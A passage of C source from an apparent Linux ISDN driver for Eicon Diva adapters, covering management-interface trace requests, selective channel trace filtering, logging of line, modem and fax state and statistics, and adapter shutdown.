preq->xdi_extended_features.Rc = IDI_SYNC_REQ_XDI_GET_EXTENDED_FEATURES;
preq->xdi_extended_features.info.buffer_length_in_bytes = sizeof(features);
preq->xdi_extended_features.info.features = &features[0];
(*(pC->request))((ENTITY*)preq);
if ((features[0] & DIVA_XDI_EXTENDED_FEATURES_VALID) &&
(features[0] & DIVA_XDI_EXTENDED_FEATURE_MANAGEMENT_DMA)) {
dword uninitialized_var(rx_dma_magic);
if ((pC->dma_handle = diva_get_dma_descriptor (pC->request, &rx_dma_magic)) >= 0) {
pC->xbuffer[0] = LLI;
pC->xbuffer[1] = 8;
pC->xbuffer[2] = 0x40;
pC->xbuffer[3] = (byte)pC->dma_handle;
pC->xbuffer[4] = (byte)rx_dma_magic;
pC->xbuffer[5] = (byte)(rx_dma_magic >> 8);
pC->xbuffer[6] = (byte)(rx_dma_magic >> 16);
pC->xbuffer[7] = (byte)(rx_dma_magic >> 24);
pC->xbuffer[8] = (byte)(DIVA_MAX_MANAGEMENT_TRANSFER_SIZE & 0xFF);
pC->xbuffer[9] = (byte)(DIVA_MAX_MANAGEMENT_TRANSFER_SIZE >> 8);
pC->xbuffer[10] = 0;
assign_data_length = 11;
}
} else {
pC->dma_handle = -1;
}
e->Id = MAN_ID;
e->callback = diva_maint_xdi_cb;
e->XNum = 1;
e->X = &pC->XData;
e->Req = ASSIGN;
e->ReqCh = 0;
e->X->PLength = assign_data_length;
e->X->P = (byte*)&pC->xbuffer[0];
pC->request_pending = 1;
return (0);
}
return (-1);
}
int SuperTraceREMOVE (void* AdapterHandle) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
e->XNum = 1;
e->X = &pC->XData;
e->Req = REMOVE;
e->ReqCh = 0;
e->X->PLength = 1;
e->X->P = (byte*)&pC->xbuffer[0];
pC->xbuffer[0] = 0;
pC->request_pending = 1;
return (0);
}
return (-1);
}
int SuperTraceTraceOnRequest(void* hAdapter, const char* name, byte* data) {
diva_maint_client_t* pC = (diva_maint_client_t*)hAdapter;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
byte* xdata = (byte*)&pC->xbuffer[0];
char tmp = 0;
word length;
if (!strcmp(name, "\\")) { /* Read ROOT */
name = &tmp;
}
length = SuperTraceCreateReadReq (xdata, name);
single_p (xdata, &length, 0); /* End Of Message */
e->Req = MAN_EVENT_ON;
e->ReqCh = 0;
e->X->PLength = length;
e->X->P = (byte*)xdata;
pC->request_pending = 1;
return (0);
}
return (-1);
}
int SuperTraceWriteVar (void* AdapterHandle,
byte* data,
const char* name,
void* var,
byte type,
byte var_length) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
diva_man_var_header_t* pVar = (diva_man_var_header_t*)&pC->xbuffer[0];
word length = SuperTraceCreateReadReq ((byte*)pVar, name);
memcpy (&pC->xbuffer[length], var, var_length);
length += var_length;
pVar->length += var_length;
pVar->value_length = var_length;
pVar->type = type;
single_p ((byte*)pVar, &length, 0); /* End Of Message */
e->Req = MAN_WRITE;
e->ReqCh = 0;
e->X->PLength = length;
e->X->P = (byte*)pVar;
pC->request_pending = 1;
return (0);
}
return (-1);
}
int SuperTraceExecuteRequest (void* AdapterHandle,
const char* name,
byte* data) {
diva_maint_client_t* pC = (diva_maint_client_t*)AdapterHandle;
if (pC && pC->pIdiLib && pC->request) {
ENTITY* e = (ENTITY*)(*(pC->pIdiLib->DivaSTraceGetHandle))(pC->pIdiLib->hLib);
byte* xdata = (byte*)&pC->xbuffer[0];
word length;
length = SuperTraceCreateReadReq (xdata, name);
single_p (xdata, &length, 0); /* End Of Message */
e->Req = MAN_EXECUTE;
e->ReqCh = 0;
e->X->PLength = length;
e->X->P = (byte*)xdata;
pC->request_pending = 1;
return (0);
}
return (-1);
}
static word SuperTraceCreateReadReq (byte* P, const char* path) {
byte var_length;
byte* plen;
var_length = (byte)strlen (path);
*P++ = ESC;
plen = P++;
*P++ = 0x80; /* MAN_IE */
*P++ = 0x00; /* Type */
*P++ = 0x00; /* Attribute */
*P++ = 0x00; /* Status */
*P++ = 0x00; /* Variable Length */
*P++ = var_length;
memcpy (P, path, var_length);
P += var_length;
*plen = var_length + 0x06;
return ((word)(var_length + 0x08));
}
static void single_p (byte * P, word * PLength, byte Id) {
P[(*PLength)++] = Id;
}
static void diva_maint_xdi_cb (ENTITY* e) {
diva_strace_context_t* pLib = DIVAS_CONTAINING_RECORD(e,diva_strace_context_t,e);
diva_maint_client_t* pC;
diva_os_spin_lock_magic_t old_irql, old_irql1;
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "xdi_cb");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "xdi_cb");
pC = (diva_maint_client_t*)pLib->hAdapter;
if ((e->complete == 255) || (pC->dma_handle < 0)) {
if ((*(pLib->instance.DivaSTraceMessageInput))(&pLib->instance)) {
diva_mnt_internal_dprintf (0, DLI_ERR, "Trace internal library error");
}
} else {
/*
Process combined management interface indication
*/
if ((*(pLib->instance.DivaSTraceMessageInput))(&pLib->instance)) {
diva_mnt_internal_dprintf (0, DLI_ERR, "Trace internal library error (DMA mode)");
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "xdi_cb");
if (pC->request_pending) {
pC->request_pending = 0;
(*(pC->request))(e);
}
diva_os_leave_spin_lock (&dbg_adapter_lock, &old_irql1, "xdi_cb");
}
static void diva_maint_error (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
int error,
const char* file,
int line) {
diva_mnt_internal_dprintf (0, DLI_ERR,
"Trace library error(%d) A(%d) %s %d", error, Adapter, file, line);
}
static void print_ie (diva_trace_ie_t* ie, char* buffer, int length) {
int i;
buffer[0] = 0;
if (length > 32) {
for (i = 0; ((i < ie->length) && (length > 3)); i++) {
sprintf (buffer, "%02x", ie->data[i]);
buffer += 2;
length -= 2;
if (i < (ie->length-1)) {
strcpy (buffer, " ");
buffer++;
length--;
}
}
}
}
static void diva_maint_state_change_notify (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
diva_trace_line_state_t* channel,
int notify_subject) {
diva_maint_client_t* pC = (diva_maint_client_t*)user_context;
diva_trace_fax_state_t* fax = &channel->fax;
diva_trace_modem_state_t* modem = &channel->modem;
char tmp[256];
if (!pC->hDbg) {
return;
}
switch (notify_subject) {
case DIVA_SUPER_TRACE_NOTIFY_LINE_CHANGE: {
int view = (TraceFilter[0] == 0);
/*
Process selective Trace
*/
if (channel->Line[0] == 'I' && channel->Line[1] == 'd' &&
channel->Line[2] == 'l' && channel->Line[3] == 'e') {
if ((TraceFilterIdent == pC->hDbg->id) && (TraceFilterChannel == (int)channel->ChannelNumber)) {
(*(hLib->DivaSTraceSetBChannel))(hLib, (int)channel->ChannelNumber, 0);
(*(hLib->DivaSTraceSetAudioTap))(hLib, (int)channel->ChannelNumber, 0);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG, "Selective Trace OFF for Ch=%d",
(int)channel->ChannelNumber);
TraceFilterIdent = -1;
TraceFilterChannel = -1;
view = 1;
}
} else if (TraceFilter[0] && (TraceFilterIdent < 0) && !(diva_mnt_cmp_nmbr (&channel->RemoteAddress[0]) &&
diva_mnt_cmp_nmbr (&channel->LocalAddress[0]))) {
if ((pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_BCHANNEL) != 0) { /* Activate B-channel trace */
(*(hLib->DivaSTraceSetBChannel))(hLib, (int)channel->ChannelNumber, 1);
}
if ((pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_AUDIO) != 0) { /* Activate AudioTap Trace */
(*(hLib->DivaSTraceSetAudioTap))(hLib, (int)channel->ChannelNumber, 1);
}
TraceFilterIdent = pC->hDbg->id;
TraceFilterChannel = (int)channel->ChannelNumber;
if (TraceFilterIdent >= 0) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG, "Selective Trace ON for Ch=%d",
(int)channel->ChannelNumber);
view = 1;
}
}
if (view && (pC->hDbg->dbgMask & DIVA_MGT_DBG_LINE_EVENTS)) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Ch = %d",
(int)channel->ChannelNumber);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Status = <%s>", &channel->Line[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Layer1 = <%s>", &channel->Framing[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Layer2 = <%s>", &channel->Layer2[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Layer3 = <%s>", &channel->Layer3[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L RAddr = <%s>",
&channel->RemoteAddress[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L RSAddr = <%s>",
&channel->RemoteSubAddress[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L LAddr = <%s>",
&channel->LocalAddress[0]);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L LSAddr = <%s>",
&channel->LocalSubAddress[0]);
print_ie(&channel->call_BC, tmp, sizeof(tmp));
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L BC = <%s>", tmp);
print_ie(&channel->call_HLC, tmp, sizeof(tmp));
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L HLC = <%s>", tmp);
print_ie(&channel->call_LLC, tmp, sizeof(tmp));
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L LLC = <%s>", tmp);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L CR = 0x%x", channel->CallReference);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Disc = 0x%x",
channel->LastDisconnecCause);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT, "L Owner = <%s>", &channel->UserID[0]);
}
} break;
case DIVA_SUPER_TRACE_NOTIFY_MODEM_CHANGE:
if (pC->hDbg->dbgMask & DIVA_MGT_DBG_MDM_PROGRESS) {
{
int ch = TraceFilterChannel;
int id = TraceFilterIdent;
if ((id >= 0) && (ch >= 0) && (id < ARRAY_SIZE(clients)) &&
(clients[id].Dbg.id == (byte)id) && (clients[id].pIdiLib == hLib)) {
if (ch != (int)modem->ChannelNumber) {
break;
}
} else if (TraceFilter[0] != 0) {
break;
}
}
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Ch = %lu",
(int)modem->ChannelNumber);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Event = %lu", modem->Event);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Norm = %lu", modem->Norm);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Opts. = 0x%08x", modem->Options);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Tx = %lu Bps", modem->TxSpeed);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Rx = %lu Bps", modem->RxSpeed);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM RT = %lu mSec",
modem->RoundtripMsec);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Sr = %lu", modem->SymbolRate);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM Rxl = %d dBm", modem->RxLeveldBm);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM El = %d dBm", modem->EchoLeveldBm);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM SNR = %lu dB", modem->SNRdb);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM MAE = %lu", modem->MAE);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM LRet = %lu",
modem->LocalRetrains);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM RRet = %lu",
modem->RemoteRetrains);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM LRes = %lu", modem->LocalResyncs);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "MDM RRes = %lu",
modem->RemoteResyncs);
if (modem->Event == 3) {
diva_mnt_internal_dprintf(pC->hDbg->id,DLI_STAT,"MDM Disc = %lu", modem->DiscReason);
}
}
if ((modem->Event == 3) && (pC->hDbg->dbgMask & DIVA_MGT_DBG_MDM_STATISTICS)) {
(*(pC->pIdiLib->DivaSTraceGetModemStatistics))(pC->pIdiLib);
}
break;
case DIVA_SUPER_TRACE_NOTIFY_FAX_CHANGE:
if (pC->hDbg->dbgMask & DIVA_MGT_DBG_FAX_PROGRESS) {
{
int ch = TraceFilterChannel;
int id = TraceFilterIdent;
if ((id >= 0) && (ch >= 0) && (id < ARRAY_SIZE(clients)) &&
(clients[id].Dbg.id == (byte)id) && (clients[id].pIdiLib == hLib)) {
if (ch != (int)fax->ChannelNumber) {
break;
}
} else if (TraceFilter[0] != 0) {
break;
}
}
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Ch = %lu",(int)fax->ChannelNumber);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Event = %lu", fax->Event);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Pages = %lu", fax->Page_Counter);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Feat. = 0x%08x", fax->Features);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX ID = <%s>", &fax->Station_ID[0]);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Saddr = <%s>", &fax->Subaddress[0]);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Pwd = <%s>", &fax->Password[0]);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Speed = %lu", fax->Speed);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Res. = 0x%08x", fax->Resolution);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Width = %lu", fax->Paper_Width);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Length= %lu", fax->Paper_Length);
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX SLT = %lu", fax->Scanline_Time);
if (fax->Event == 3) {
diva_mnt_internal_dprintf(pC->hDbg->id, DLI_STAT, "FAX Disc = %lu", fax->Disc_Reason);
}
}
if ((fax->Event == 3) && (pC->hDbg->dbgMask & DIVA_MGT_DBG_FAX_STATISTICS)) {
(*(pC->pIdiLib->DivaSTraceGetFaxStatistics))(pC->pIdiLib);
}
break;
case DIVA_SUPER_TRACE_INTERFACE_CHANGE:
if (pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_EVENTS) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT,
"Layer 1 -> [%s]", channel->pInterface->Layer1);
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_STAT,
"Layer 2 -> [%s]", channel->pInterface->Layer2);
}
break;
case DIVA_SUPER_TRACE_NOTIFY_STAT_CHANGE:
if (pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_STATISTICS) {
/*
Incoming Statistics
*/
if (channel->pInterfaceStat->inc.Calls) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Calls =%lu", channel->pInterfaceStat->inc.Calls);
}
if (channel->pInterfaceStat->inc.Connected) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Connected =%lu", channel->pInterfaceStat->inc.Connected);
}
if (channel->pInterfaceStat->inc.User_Busy) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Busy =%lu", channel->pInterfaceStat->inc.User_Busy);
}
if (channel->pInterfaceStat->inc.Call_Rejected) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Rejected =%lu", channel->pInterfaceStat->inc.Call_Rejected);
}
if (channel->pInterfaceStat->inc.Wrong_Number) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Wrong Nr =%lu", channel->pInterfaceStat->inc.Wrong_Number);
}
if (channel->pInterfaceStat->inc.Incompatible_Dst) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Incomp. Dest =%lu", channel->pInterfaceStat->inc.Incompatible_Dst);
}
if (channel->pInterfaceStat->inc.Out_of_Order) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Out of Order =%lu", channel->pInterfaceStat->inc.Out_of_Order);
}
if (channel->pInterfaceStat->inc.Ignored) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Inc Ignored =%lu", channel->pInterfaceStat->inc.Ignored);
}
/*
Outgoing Statistics
*/
if (channel->pInterfaceStat->outg.Calls) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Calls =%lu", channel->pInterfaceStat->outg.Calls);
}
if (channel->pInterfaceStat->outg.Connected) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Connected =%lu", channel->pInterfaceStat->outg.Connected);
}
if (channel->pInterfaceStat->outg.User_Busy) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Busy =%lu", channel->pInterfaceStat->outg.User_Busy);
}
if (channel->pInterfaceStat->outg.No_Answer) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg No Answer =%lu", channel->pInterfaceStat->outg.No_Answer);
}
if (channel->pInterfaceStat->outg.Wrong_Number) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Wrong Nr =%lu", channel->pInterfaceStat->outg.Wrong_Number);
}
if (channel->pInterfaceStat->outg.Call_Rejected) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Rejected =%lu", channel->pInterfaceStat->outg.Call_Rejected);
}
if (channel->pInterfaceStat->outg.Other_Failures) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"Outg Other Failures =%lu", channel->pInterfaceStat->outg.Other_Failures);
}
}
break;
case DIVA_SUPER_TRACE_NOTIFY_MDM_STAT_CHANGE:
if (channel->pInterfaceStat->mdm.Disc_Normal) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Normal = %lu", channel->pInterfaceStat->mdm.Disc_Normal);
}
if (channel->pInterfaceStat->mdm.Disc_Unspecified) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Unsp. = %lu", channel->pInterfaceStat->mdm.Disc_Unspecified);
}
if (channel->pInterfaceStat->mdm.Disc_Busy_Tone) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Busy Tone = %lu", channel->pInterfaceStat->mdm.Disc_Busy_Tone);
}
if (channel->pInterfaceStat->mdm.Disc_Congestion) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Congestion = %lu", channel->pInterfaceStat->mdm.Disc_Congestion);
}
if (channel->pInterfaceStat->mdm.Disc_Carr_Wait) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Carrier Wait = %lu", channel->pInterfaceStat->mdm.Disc_Carr_Wait);
}
if (channel->pInterfaceStat->mdm.Disc_Trn_Timeout) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Trn. T.o. = %lu", channel->pInterfaceStat->mdm.Disc_Trn_Timeout);
}
if (channel->pInterfaceStat->mdm.Disc_Incompat) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Incompatible = %lu", channel->pInterfaceStat->mdm.Disc_Incompat);
}
if (channel->pInterfaceStat->mdm.Disc_Frame_Rej) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc Frame Reject = %lu", channel->pInterfaceStat->mdm.Disc_Frame_Rej);
}
if (channel->pInterfaceStat->mdm.Disc_V42bis) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"MDM Disc V.42bis = %lu", channel->pInterfaceStat->mdm.Disc_V42bis);
}
break;
case DIVA_SUPER_TRACE_NOTIFY_FAX_STAT_CHANGE:
if (channel->pInterfaceStat->fax.Disc_Normal) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Normal = %lu", channel->pInterfaceStat->fax.Disc_Normal);
}
if (channel->pInterfaceStat->fax.Disc_Not_Ident) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Not Ident. = %lu", channel->pInterfaceStat->fax.Disc_Not_Ident);
}
if (channel->pInterfaceStat->fax.Disc_No_Response) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc No Response = %lu", channel->pInterfaceStat->fax.Disc_No_Response);
}
if (channel->pInterfaceStat->fax.Disc_Retries) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Max Retries = %lu", channel->pInterfaceStat->fax.Disc_Retries);
}
if (channel->pInterfaceStat->fax.Disc_Unexp_Msg) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Unexp. Msg. = %lu", channel->pInterfaceStat->fax.Disc_Unexp_Msg);
}
if (channel->pInterfaceStat->fax.Disc_No_Polling) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc No Polling = %lu", channel->pInterfaceStat->fax.Disc_No_Polling);
}
if (channel->pInterfaceStat->fax.Disc_Training) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Training = %lu", channel->pInterfaceStat->fax.Disc_Training);
}
if (channel->pInterfaceStat->fax.Disc_Unexpected) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Unexpected = %lu", channel->pInterfaceStat->fax.Disc_Unexpected);
}
if (channel->pInterfaceStat->fax.Disc_Application) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Application = %lu", channel->pInterfaceStat->fax.Disc_Application);
}
if (channel->pInterfaceStat->fax.Disc_Incompat) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Incompatible = %lu", channel->pInterfaceStat->fax.Disc_Incompat);
}
if (channel->pInterfaceStat->fax.Disc_No_Command) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc No Command = %lu", channel->pInterfaceStat->fax.Disc_No_Command);
}
if (channel->pInterfaceStat->fax.Disc_Long_Msg) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Long Msg. = %lu", channel->pInterfaceStat->fax.Disc_Long_Msg);
}
if (channel->pInterfaceStat->fax.Disc_Supervisor) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Supervisor = %lu", channel->pInterfaceStat->fax.Disc_Supervisor);
}
if (channel->pInterfaceStat->fax.Disc_SUB_SEP_PWD) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc SUP SEP PWD = %lu", channel->pInterfaceStat->fax.Disc_SUB_SEP_PWD);
}
if (channel->pInterfaceStat->fax.Disc_Invalid_Msg) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Invalid Msg. = %lu", channel->pInterfaceStat->fax.Disc_Invalid_Msg);
}
if (channel->pInterfaceStat->fax.Disc_Page_Coding) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Page Coding = %lu", channel->pInterfaceStat->fax.Disc_Page_Coding);
}
if (channel->pInterfaceStat->fax.Disc_App_Timeout) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Appl. T.o. = %lu", channel->pInterfaceStat->fax.Disc_App_Timeout);
}
if (channel->pInterfaceStat->fax.Disc_Unspecified) {
diva_mnt_internal_dprintf (pC->hDbg->id, DLI_LOG,
"FAX Disc Unspec. = %lu", channel->pInterfaceStat->fax.Disc_Unspecified);
}
break;
}
}
/*
Receive trace information from the Management Interface and store it in the
internal trace buffer with MSG_TYPE_MLOG as is, without any filtering.
Event Filtering and formatting is done in Management Interface self.
*/
static void diva_maint_trace_notify (void* user_context,
diva_strace_library_interface_t* hLib,
int Adapter,
void* xlog_buffer,
int length) {
diva_maint_client_t* pC = (diva_maint_client_t*)user_context;
diva_dbg_entry_head_t* pmsg;
word size;
dword sec, usec;
int ch = TraceFilterChannel;
int id = TraceFilterIdent;
/*
Selective trace
*/
if ((id >= 0) && (ch >= 0) && (id < ARRAY_SIZE(clients)) &&
(clients[id].Dbg.id == (byte)id) && (clients[id].pIdiLib == hLib)) {
const char* p = NULL;
int ch_value = -1;
MI_XLOG_HDR *TrcData = (MI_XLOG_HDR *)xlog_buffer;
if (Adapter != clients[id].logical) {
return; /* Ignore all trace messages from other adapters */
}
if (TrcData->code == 24) {
p = (char*)&TrcData->code;
p += 2;
}
/*
All L1 messages start as [dsp,ch], so we can filter this information
and filter out all messages that use different channel
*/
if (p && p[0] == '[') {
if (p[2] == ',') {
p += 3;
ch_value = *p - '0';
} else if (p[3] == ',') {
p += 4;
ch_value = *p - '0';
}
if (ch_value >= 0) {
if (p[2] == ']') {
ch_value = ch_value * 10 + p[1] - '0';
}
if (ch_value != ch) {
return; /* Ignore other channels */
}
}
}
} else if (TraceFilter[0] != 0) {
return; /* Ignore trace if trace filter is activated, but idle */
}
diva_os_get_time (&sec, &usec);
while (!(pmsg = (diva_dbg_entry_head_t*)queueAllocMsg (dbg_queue,
(word)length+sizeof(*pmsg)))) {
if ((pmsg = (diva_dbg_entry_head_t*)queuePeekMsg (dbg_queue, &size))) {
queueFreeMsg (dbg_queue);
} else {
break;
}
}
if (pmsg) {
memcpy (&pmsg[1], xlog_buffer, length);
pmsg->sequence = dbg_sequence++;
pmsg->time_sec = sec;
pmsg->time_usec = usec;
pmsg->facility = MSG_TYPE_MLOG;
pmsg->dli = pC->logical;
pmsg->drv_id = pC->hDbg->id;
pmsg->di_cpu = 0;
pmsg->data_length = length;
queueCompleteMsg (pmsg);
if (queueCount(dbg_queue)) {
diva_maint_wakeup_read();
}
}
}
/*
Convert MAINT trace mask to management interface trace mask/work/facility and
issue command to management interface
*/
static void diva_change_management_debug_mask (diva_maint_client_t* pC, dword old_mask) {
if (pC->request && pC->hDbg && pC->pIdiLib) {
dword changed = pC->hDbg->dbgMask ^ old_mask;
if (changed & DIVA_MGT_DBG_TRACE) {
(*(pC->pIdiLib->DivaSTraceSetInfo))(pC->pIdiLib,
(pC->hDbg->dbgMask & DIVA_MGT_DBG_TRACE) != 0);
}
if (changed & DIVA_MGT_DBG_DCHAN) {
(*(pC->pIdiLib->DivaSTraceSetDChannel))(pC->pIdiLib,
(pC->hDbg->dbgMask & DIVA_MGT_DBG_DCHAN) != 0);
}
if (!TraceFilter[0]) {
if (changed & DIVA_MGT_DBG_IFC_BCHANNEL) {
int i, state = ((pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_BCHANNEL) != 0);
for (i = 0; i < pC->channels; i++) {
(*(pC->pIdiLib->DivaSTraceSetBChannel))(pC->pIdiLib, i+1, state);
}
}
if (changed & DIVA_MGT_DBG_IFC_AUDIO) {
int i, state = ((pC->hDbg->dbgMask & DIVA_MGT_DBG_IFC_AUDIO) != 0);
for (i = 0; i < pC->channels; i++) {
(*(pC->pIdiLib->DivaSTraceSetAudioTap))(pC->pIdiLib, i+1, state);
}
}
}
}
}
void diva_mnt_internal_dprintf (dword drv_id, dword type, char* fmt, ...) {
va_list ap;
va_start(ap, fmt);
DI_format (0, (word)drv_id, (int)type, fmt, ap);
va_end(ap);
}
/*
Shutdown all adapters before driver removal
*/
int diva_mnt_shutdown_xdi_adapters (void) {
diva_os_spin_lock_magic_t old_irql, old_irql1;
int i, fret = 0;
byte * pmem;
for (i = 1; i < ARRAY_SIZE(clients); i++) {
pmem = NULL;
diva_os_enter_spin_lock (&dbg_adapter_lock, &old_irql1, "unload");
diva_os_enter_spin_lock (&dbg_q_lock, &old_irql, "unload");
if (clients[i].hDbg && clients[i].pIdiLib && clients[i].request) {
if ((*(clients[i].pIdiLib->DivaSTraceLibraryStop))(clients[i].pIdiLib) == 1) {
/*
Adapter removal complete
*/
if (clients[i].pIdiLib) {
(*(clients[i].pIdiLib->DivaSTraceLibraryFinit))(clients[i].pIdiLib->hLib);
clients[i].pIdiLib = NULL;
pmem = clients[i].pmem;
clients[i].pmem = NULL;
}
clients[i].hDbg = NULL;
clients[i].request_pending = 0;
if (clients[i].dma_handle >= 0) {
/*
Free DMA handle
*/
diva_free_dma_descriptor (clients[i].request, clients[i].dma_handle);
clients[i].dma_handle = -1;
}
clients[i].request = NULL;
} else {
fret = -1;
}
}
diva_os_leave_spin_lock (&dbg_q_lock, &old_irql, "unload");
if (clients[i].hDbg && clients[i].pIdiLib && clients[i].request && clients[i].request_pending) {
clients[i].request_pending = 0;
(*(clients[i].request))((ENTITY*)(*(clients[i].pIdiLib->DivaSTraceGetHandle))(clients[i].pIdiLib->hLib));
